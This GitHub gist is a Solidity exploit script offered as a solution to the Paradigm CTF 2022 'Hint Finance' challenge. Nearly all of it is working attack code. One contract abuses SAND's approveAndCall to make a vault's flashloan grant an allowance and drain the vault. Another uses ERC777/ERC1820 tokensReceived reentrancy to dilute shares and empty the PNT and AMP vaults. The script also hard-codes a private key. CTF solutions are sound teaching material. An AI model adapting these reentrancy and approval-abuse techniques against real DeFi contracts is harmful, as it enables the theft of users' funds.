Skip to content

Instantly share code, notes, and snippets.

@Philogy
Last active August 22, 2022 15:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Philogy/61534359bbdccb016ebf86b21a0cb8a6 to your computer and use it in GitHub Desktop.
Save Philogy/61534359bbdccb016ebf86b21a0cb8a6 to your computer and use it in GitHub Desktop.
Paradigm CTF 2022 - Hint Finance Solution
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import {Test} from "forge-std/Test.sol";
import {Setup, UniswapV2RouterLike} from "src/public/contracts/Setup.sol";
import {HintFinanceVault, IHintFinanceFlashloanReceiver, ERC20Like} from "src/public/contracts/HintFinanceVault.sol";
interface ISand is ERC20Like {
function approveAndCall(
address _target,
uint256 _amount,
bytes calldata _data
) external;
}
contract FakeToken {
fallback() external {}
function transfer(address, uint256) external returns (bool) {
return true;
}
function balanceOf(address) external view returns (uint256) {
return 1e18;
}
function stealSandFrom(address _sandVault, ISand _sand) external {
bytes memory innerPayload = abi.encodeWithSelector(
bytes4(0x00000000),
_sandVault,
bytes32(0),
bytes32(0),
bytes32(0)
);
bytes memory payload = abi.encodeCall(
HintFinanceVault.flashloan,
(address(this), 0xa0, innerPayload)
);
_sand.approveAndCall(_sandVault, type(uint256).max, payload);
_sand.transferFrom(_sandVault, msg.sender, _sand.balanceOf(_sandVault));
}
}
interface IERC1820Registry {
function setInterfaceImplementer(
address account,
bytes32 interfaceHash,
address implementer
) external;
}
contract Reenterer {
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
IERC1820Registry internal constant _ERC1820_REGISTRY =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _AMP_INTERFACE_HASH =
keccak256("AmpTokensRecipient");
HintFinanceVault internal immutable pntVault;
HintFinanceVault internal immutable ampVault;
bool internal doReDeposit = true;
constructor(address _pntVault, address _ampVault) {
_ERC1820_REGISTRY.setInterfaceImplementer(
address(0),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
_ERC1820_REGISTRY.setInterfaceImplementer(
address(0),
_AMP_INTERFACE_HASH,
address(this)
);
pntVault = HintFinanceVault(_pntVault);
ampVault = HintFinanceVault(_ampVault);
}
function depositPnt() external {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
pnt.approve(address(pntVault), type(uint256).max);
pntVault.deposit(pnt.balanceOf(address(this)));
}
function depositAmp() external {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
amp.approve(address(ampVault), type(uint256).max);
ampVault.deposit(amp.balanceOf(address(this)));
}
function doPntDiluteCycle() external {
pntVault.withdraw(pntVault.balanceOf(address(this)));
}
function doAmpDiluteCycle() external {
ampVault.withdraw(ampVault.balanceOf(address(this)));
}
function cashOutPnt() external {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
doReDeposit = false;
pntVault.withdraw(pntVault.balanceOf(address(this)));
doReDeposit = true;
pnt.transfer(msg.sender, pnt.balanceOf(address(this)));
}
function cashOutAmp() external {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
doReDeposit = false;
ampVault.withdraw(ampVault.balanceOf(address(this)));
doReDeposit = true;
amp.transfer(msg.sender, amp.balanceOf(address(this)));
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
if (operator == address(pntVault) && doReDeposit) {
ERC20Like pnt = ERC20Like(pntVault.underlyingToken());
pntVault.deposit(pnt.balanceOf(address(this)));
}
}
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
) external {
if (operator == address(ampVault) && doReDeposit) {
ERC20Like amp = ERC20Like(ampVault.underlyingToken());
ampVault.deposit(amp.balanceOf(address(this)));
}
}
}
contract ExploitScript is Script, Test {
uint256 internal constant MAX_BPS = 10_000;
function _stoleSufficient(Setup _s, uint256 _i) internal returns (bool) {
address token = _s.underlyingTokens(_i);
return
ERC20Like(token).balanceOf(
_s.hintFinanceFactory().underlyingToVault(token)
) <= _s.initialUnderlyingBalances(_i) / 100;
}
function _getStolen(Setup _s, uint256 _i) internal returns (uint256) {
address token = _s.underlyingTokens(_i);
return
MAX_BPS -
(MAX_BPS *
ERC20Like(token).balanceOf(
_s.hintFinanceFactory().underlyingToVault(token)
)) /
_s.initialUnderlyingBalances(_i);
}
function _buyWithEth(
address _token,
uint256 _amount,
address _recipient
) internal {
address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address[] memory path = new address[](2);
path[0] = weth;
path[1] = _token;
UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a)
.swapExactETHForTokens{value: _amount}(
0,
path,
_recipient,
block.timestamp + 7 days
);
}
function run() public {
vm.startBroadcast();
address user = vm.addr(
0xe4582be7ae3da393dd8404e16421224057da8ccef9e3a071a7bd20f9a56a96b4
);
emit log_named_decimal_uint("user.balance", user.balance, 18);
Setup s = Setup(0x503b84CEB4e9C1BE7D550dCDD64cC3eA8a1250b7);
ISand sand = ISand(0x3845badAde8e6dFF049820680d1F14bD3903a5d0);
HintFinanceVault sandVault = HintFinanceVault(
s.hintFinanceFactory().underlyingToVault(address(sand))
);
FakeToken fakeToken = new FakeToken();
fakeToken.stealSandFrom(address(sandVault), sand);
emit log_named_decimal_uint("stolen SAND", _getStolen(s, 1), 4);
address pntAddr = 0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD;
address ampAddr = 0xfF20817765cB7f73d4bde2e66e067E58D11095C2;
Reenterer rawr = new Reenterer(
s.hintFinanceFactory().underlyingToVault(pntAddr),
s.hintFinanceFactory().underlyingToVault(ampAddr)
);
_buyWithEth(pntAddr, 2000 ether, address(rawr));
rawr.depositPnt();
rawr.doPntDiluteCycle();
rawr.doPntDiluteCycle();
rawr.doPntDiluteCycle();
rawr.doPntDiluteCycle();
rawr.cashOutPnt();
_buyWithEth(ampAddr, 2000 ether, address(rawr));
rawr.depositAmp();
rawr.doAmpDiluteCycle();
rawr.doAmpDiluteCycle();
rawr.doAmpDiluteCycle();
rawr.doAmpDiluteCycle();
rawr.cashOutAmp();
vm.stopBroadcast();
emit log_named_uint("s.isSolved() ? 1 : 0", s.isSolved() ? 1 : 0);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment